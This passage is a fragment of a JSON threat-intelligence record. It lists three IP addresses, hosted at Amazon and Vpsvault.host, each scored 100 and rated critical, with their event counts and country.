        "ip": "3.132.26.232",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 61,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "45.205.1.110",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 2,
        "country": "United States",
        "org": "Vpsvault.host Ltd"
      },
      {
        "ip": "3.131.220.121",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 162,
        "country": "United States",
        "org": "Amazon.com, Inc."
      }
    ]
  }
}